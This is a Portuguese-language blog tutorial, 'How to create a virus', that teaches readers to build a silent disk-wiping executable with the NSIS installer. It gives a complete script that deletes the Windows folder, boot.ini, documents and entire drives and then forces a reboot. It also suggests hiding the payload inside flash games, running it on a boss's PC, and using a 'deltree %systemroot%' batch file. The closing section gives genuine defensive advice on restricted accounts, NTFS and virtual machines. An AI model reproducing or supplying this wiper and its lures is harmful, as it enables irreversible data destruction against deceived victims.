Como criar um vírus?

Pra que você quer saber como criar um vírus? Bem... A responsabilidade é sua, blz? Nesta dica você terá uma aulinha prática de como criar um vírus que detona TUDO do HD.

Um vírus é um programa do mal, que faz mal ao sistema operacional, a outros programas ou a arquivos do computador. Podem ser ainda de outros tipos, mas estes são os mais comuns. Basicamente, um vírus é um programa. Um programa com instruções que poderiam ser usadas para o bem, mas aplicadas para o mal. Portanto, para fazer um vírus, aprenda a fazer programas. Existem, no entanto, meios mais simples que permitem a criação de vírus usando determinadas estratégias, ferramentas e recursos já existentes. Além de saber fazer o vírus, você deve saber o que ele fará. O vírus ataca alguma coisa. Você deve conhecer essa coisa, seus pontos fracos e fortes, verificar caminhos por onde entrar. E como rodá-lo? O meio mais simples é convencer os usuários a executar o arquivo do vírus nos seus computadores. Ou você mesmo, por exemplo, pode executá-lo no computador do chefe enquanto ele estiver almoçando. Para ajudar, existem programas que embutem um executável dentro de outro, de modo que um seja executado normalmente, e o outro de forma oculta. Isso permite, por exemplo, criar um joguinho em flash (ou pegar uma dessas muitas animações distribuídas em .exe, o projetor do flash), embutir o vírus nele e mandar pra pessoa. Ela abre, vê o joguinho, acha lindo. E por trás de tudo isso, enquanto ela está distraída e entretida, o vírus trabalha. Ou simplesmente se copia para alguma pasta, cria entradas no registro do Windows para se iniciar na próxima sessão, e ataca a partir dali.

E os anti-vírus, como ficam? Irão bloquear seu vírus? Eles não sabem se um programa é um vírus ou não, a menos que tenham a "identidade" deste programa marcada como "suja", como um vírus. Isso acontece quando o vírus fica muito divulgado, e acaba caindo nas mãos do pessoal das empresas de anti-vírus. Eles checam o arquivo, fazem testes e mais testes. Comprovado o caso de ser um vírus (ou seja, de ser um programa do mal), eles criam um código que identifica exclusivamente aquele arquivo (por exemplo, uma somatória MD5, um trecho de código existente no arquivo, uma seqüência de operações que provavelmente só existam naquele arquivo, etc). E cadastram esse código no anti-vírus. Ao fazer a varredura, se o anti-vírus identificar algum arquivo com algumas qualidades cadastradas em seu banco de dados, ele entenderá ele como vírus e tentará eliminá-lo ou notificar o usuário. Por isso é bom estar sempre com seu anti-vírus atualizado, pois praticamente todo dia surgem novos vírus. Estando atualizado, ele pode identificar os vírus mais recentes. Mesmo que um programa seja o pior vírus já inventado, se ele não estiver catalogado no anti-vírus, ele provavelmente se dará muito bem e executará suas funções. Depois? Depois é tarde, né. Já eu, particularmente, não uso anti-vírus, pois sei me cuidar. Não quero um programa verificando tudo o que faço e deixando meu micro mais lento. Muita gente reclama do Windows e talz e bla bla bla. Mas essa gente poderia parar um pouco e pensar nela mesma, nas atitudes. A maioria dos vírus e spywares só consegue realizar seus objetivos porque o usuário do computador vacilou. Mas blz, isso não vem ao caso agora.

Um vírus não precisa ser necessariamente um programa. Você deve estudar e conhecer o que quer atacar, e usar meios para isso. Por exemplo, apagar arquivos. Criar um ".bat" com o comando "deltree %systemroot%" adaptado para não mostrar nada, por exemplo. Esse arquivo pode ser considerado um vírus, embora é um simples arquivo ASCII, de texto puro. O interpretador de comandos é que vai executar as ações, de acordo com o que estiver indicado. De forma semelhante agem os vírus de scripts e macros: por isso, é bom tomar cuidado com apresentações do Power Point de desconhecidos, arquivos do Word, etc. Não precisa ser paranóico e ficar sem abrir esses arquivos, basta pensar e desativar as macros no seu programa, entre outros cuidados. Usar o visualizador do PowerPoint, em vez do PowerPoint completo, é uma boa idéia para ver apresentações da Internet, já que as macros e arquivos vinculados nem serão interpretados. No caso de scripts ".js" ou ".vbs", só execute-os se souber realmente o que está fazendo. Destaco que esse ".js" não é de "JavaScript", pois esta mesma extensão é usada por scripts inofensivos em páginas da web para adicionar funcionalidade. Como dito, cuide-se, mas não caia nas paranóias. Não é porque a AIDS come solto que você vai deixar de transar com pessoas que conhece a pouco tempo ou na balada, mas deverá se cuidar, né? A mesma coisa pode ser dita em termos de PCs. Execute programas, rode, teste, fuce, explore, mas com responsa. Isso fica por sua conta. Do mesmo jeito que "sexo 100% seguro é não fazer sexo", eu diria que "navegar na Internet de forma 100% segura é não navegar na Internet". Se você está na chuva, é para se molhar. Às vezes até mesmo com o melhor guarda-chuva ou capa você ainda se molha legal, e pode pegar um resfriado... Por essas e outras, arquivos e projetos importantes eu mantenho num PC sem acesso a Internet (nem modem nem placa de rede ele tem).

Bom, chega de teoria, não que não seja importante, mas já falei demais. Se você quer fazer vírus, arregace as mangas e parta para o estudo, você deverá estudar e fuçar muito. E cuidado para o feitiço não virar contra o feiticeiro, he he he.

Vou mostrar como fazer um simples programinha devastador, que apaga TUDO do HD. Tanto os arquivos do usuário como as pastas do sistema e os programas. Ele será rodado no Windows, então alguns arquivos de sistema não serão apagados porque estarão em uso. Mas apagando a maioria e alguns estratégicos, já é o suficiente para que o computador nem inicie, a menos que a pessoa formate e reinstale tudo (mas aí ela já teria perdido seus dados).

Apagar arquivos... Sugiro usar o gerador de programas de instalação NSIS (Nullsoft Scriptable Install System). Ele é destinado a desenvolvedores e distribuidores de aplicações, mas é muito versátil. Você cria um "falso" programa de instalação, que na real não instala é nada, apenas apaga coisas. Esse NSIS funciona com um script, você cria um arquivo de texto com as instruções, compila nele, e ele gera o executável baseado nessas instruções. O uso do NSIS é uma boa também porque o executável fica extremamente pequeno, com menos de 50 kb. Mas você poderia usar, é claro, outros instaladores...

Baixe o NSIS em nsis.sourceforge.net e instale-o. Ele é gratuito (e open source). Não vamos nos deter com o script dele, vamos direto ao assunto. Ele possui uma função "Delete", que apaga arquivos ou pastas. Basta você adicionar os nomes de arquivos ou pastas desejados, e gerar o programa. Esta função deveria ser usada para apagar arquivos de um programa que seria desinstalado, já que o NSIS é um criador de programas de instalação para outros programas. Mas como apaga arquivos que você define, pode ser usada para o mal também, só depende das suas intenções. Em menos de 1 minuto seu vírus estará pronto.

Com o NSIS instalado, abra um editor de textos puro, como o Bloco de notas, e digite (ou copie e cole) o texto em vermelho:

!define PRODUCT_NAME "APAGADOR_XXX"
!define PRODUCT_VERSION "1.0"
!define PRODUCT_PUBLISHER "HACKER_XXX"

SetCompressor lzma

Name "{PRODUCT_NAME} {PRODUCT_VERSION}"
OutFile "MeuVirus.exe"
InstallDir "TEMP"
Icon "{NSISDIR}ContribGraphicsIconsmodern-install.ico"
SilentInstall silent

Section "Sec001" SEC01
Delete /REBOOTOK "WINDIR."
SectionEnd

Section -Post
Reboot
SectionEnd

Salve com a extensão ".nsi", e escolha "Todos os arquivos", no campo "Salvar como tipo". A extensão ".nsi" é a de projeto do NSIS, você poderia usar outra qualquer e depois abri-lo no compilador do NSIS ("Iniciar > Programas > MakeNSISW (Compiler GUI)").

Vamos entender esse arquivo... As três primeiras linhas identificam o "programa" que seria instalado, afinal o NSIS é um instalador. Deixe como está, ou escreva qualquer coisa, de preferência não palavras. O item "OutFile" é o executável que será gerado, é o seu vírus que deverá ser distribuído. A linha "SilentInstall silent" gera um instalador oculto, que não mostra nada na tela. Ou seja, quando a vítima executá-lo, ele já começará a apagar tudo sem mostrar nada.

Na seção "Sec01", você deve adicionar as entradas "Delete" que desejar. Existem outros comandos, é possível, em vez de apagar arquivos, criar entradas no registro, instalar programas que se auto-executam, etc. Não me pergunte como fazer isso.

A linha "Delete /REBOOTOK "WINDIR." apaga tudo da pasta do Windows, deixando para apagar na próxima inicialização o que estiver em uso. Copie-a e cole-a abaixo dela, antes do SectionEnd, trocando as pastas ou arquivos que você queira apagar. Por exemplo:

Delete /REBOOTOK "C:boot.ini"
Delete /REBOOTOK "C:Meus documentos."
Delete /REBOOTOK "C:."
Delete /REBOOTOK "D:."
Delete /REBOOTOK "E:."
Delete /REBOOTOK "F:."
Delete /REBOOTOK "G:."
Delete /REBOOTOK "C:Arquivos de programas."


Adicione o que quiser, arquivos específicos, etc.

A última seção, "Section -Post / Reboot / SectionEnd", será executada ao concluir o instalador, ou seja, quando ele terminar sua ação. O comando "reboot" reiniciará o computador, que na próxima inicialização nem inicia mais. Se você quiser, pode remover essas três últimas linhas, para deixar o usuário em desespero, vendo que tudo do seu PC foi apagado.

Salve o arquivo. Abra o compilador do NSIS, em "Iniciar > Programas > MakeNSISW (Compiler GUI)", clique no menu "File > Load script", localize o arquivo de extensão ".nsi" que você salvou. Ele já compilará, é rapidinho. NÃO CLIQUE NO BOTÃO "TEST INSTALLER".

O vírus está pronto! E, em condições normais, nenhum anti-vírus o detectaria, a menos que ele fosse parar nas mãos de algum criador de anti-vírus.

Como testá-lo sem se ferrar por conta da própria criação? Use máquinas virtuais! Já comentei aqui no Explorando sobre o Bochs, na seção de matérias do site Mep Sites (materias.mepsites.cjb.net) você encontra um tutorial dele. Pode usar também o QEMU, com a ajuda do Kemula (kemula.mepsites.cjb.net), se precisar. Ou o comercial e carinho VMware. Usando uma máquina virtual você ferra apenas o sistema virtual, que pode ser facilmente restaurado se você tiver uma cópia dele em CD ou outra pasta. Dica: use máquinas virtuais também para testar pela primeira vez programas que você pega na Internet, e mais: navegue na Internet só pela máquina virtual! Quanto ao seu "virusinho", se preferir, teste num PC cobaia, onde você saiba que tudo pode ser apagado. Leia a ajuda do NSIS para ver outros comandos e constantes de pastas.

Fácil, não?

Claro, isso é só um exemplo, ideal para lammers ou gente que se acha (e que na real não sabe é nada). Ou mesmo para quem está curioso e iniciando. Para fazer vírus específicos é recomendável dominar uma linguagem de programação. E lembre-se: você deve saber o que o vírus fará, o que ele vai atacar, e mais, saber como atacar. Não adianta querer ver a agenda do celular da namorada se você não souber onde ela guarda o celular. Não adianta querer ferrar um programa se você não souber que arquivos ou chaves do registro ele utiliza.

Por essas e outras, muito, muito cuidado ao abrir programas da Internet. Não clique naqueles banners de propaganda suspeitos, com carinhas lindas. Não clique no anúncio "Almente o tamanho do seu pênis". Não veja as montagens de fotos que não sei quem fez de você com não sei quem lá, e que te deixou um recado no orkut. Cuidado com os joguinhos em flash "executáveis"; se eles forem de origem desconhecida, tome mais cuidado ainda, prefira ver as versões em páginas HTML com o ".swf" separado. Mesmo se foi um amigo confiável que te passou, ele pode ter pego num site malicioso sem saber, ou então recebeu do primo do colega do vizinho da tia de outra cidade. Se você navega na Internet e mantém arquivos importantes no seu computador, considere o uso de uma conta de usuário restrita para navegar, ou use a conta de "Convidado", é o melhor a ser feito. Mantenha suas partições no Windows formatadas em NTFS, pois ao usar uma conta restrita, ela não terá acesso completo aos arquivos do sistema nem das outras pastas. Se o apagador que mostrei como criar, por exemplo, fosse rodado com uma conta de usuário restrita numa partição em NTFS, ele não conseguiria apagar praticamente NADA da pasta do Windows nem das outras pastas. O maior estrago seria na conta de usuário usada para rodá-lo, por isso se fosse um usuário restrito ou o convidado, seus arquivos estariam a salvo. Note que mesmo em NTFS, se você usasse a conta de administrador, boa parte dessa proteção iria por água abaixo, já que normalmente os administradores podem apagar arquivos do sistema e das outras pastas. E um programa executado como administrador, tem todos os direitos concedidos à conta de administrador. Ao instalar um programa, desmarque na instalação tudo o que for suspeito, especialmente se não estiver documentado. Muitas barras de ferramentas extras que aparecem no seu navegador foram instaladas junto com algum programa que você instalou "conscientemente", clicando em tudo, sem ler nada. LEIA. LEIA TUDO O QUE PUDER. Muitos spywares são documentados na licença de uso de um software, e muitos brasileiros que já não têm costume de ler mesmo, assim instalam ele sem saber. Um software que se preze e que respeite seus usuários deixa bem claro suas condições de uso, você só usa se concordar. E nada mais justo, se não concordar, simplesmente NÃO UTILIZE.

Uma dica para usuários do Windows XP ou as versões superiores. Ao rodar um programa suspeito, ou animações em flash executáveis, joguinhos que se dizem que "não precisa instalar", etc, o Windows pode desativar algumas alterações que o programa tente realizar. Por exemplo, ele não conseguirá alterar NADA no registro, o que é uma grande vantagem. Claro, se o programa depender disso para funcionar, nada feito, ele não irá rodar ou mostrará uma série de mensagens de erro. Executar programas confiáveis assim pode fazer com que eles não funcionem também, pois é comum um programa ler e gravar dados no registro ao ser aberto ou fechado. Já um joguinho "não instalável" ou uma animação em flash não deveria fazer nada isso, né? Para executar um programa no modo restrito: clique com o botão direito do mouse no ícone do mesmo, escolha "Executar como". Deixe selecionado o seu nome de usuário, e deixe marcado o item "Proteger meu computador e meus dados contra atividades não autorizadas de programas". Dê OK. Abrindo o programa assim, entre outras coisas, ele não poderá alterar nada no registro do Windows. Se o item "Executar como" não aparecer no menu, selecione o arquivo, segure SHIFT e clique com o direito nele.

Para programas suspeitos ou totalmente desconhecidos, eu recomendo testar em máquinas virtuais, como comentei mais acima. É melhor. Se der pau, dá só nela (a menos que você tenha arquivos no seu PC na rede compartilhados com permissão de escrita). Apague o arquivo do HD virtual e recopie a pasta. É mais prático do que usar uma máquina cobaia, tendo que reinstalar ou reparar tudo.

Enfim, esta dica tem diversos públicos. Não estou incentivando o mal, mas tirando uma curiosidade de muita gente sobre os vírus. O uso que se fará dela é de responsabilidade de cada um, né?! Um martelo pode ser usado na construção da sua casa, dos seus móveis. Mas pode também servir também para estourar seus miolos. Tudo é relativo.

Espero que você use o que leu aqui com responsabilidade. "Sexo? Use camisinha". "Internet? Juízo, previna-se dos vírus". Boa sorte!

Marcos Elias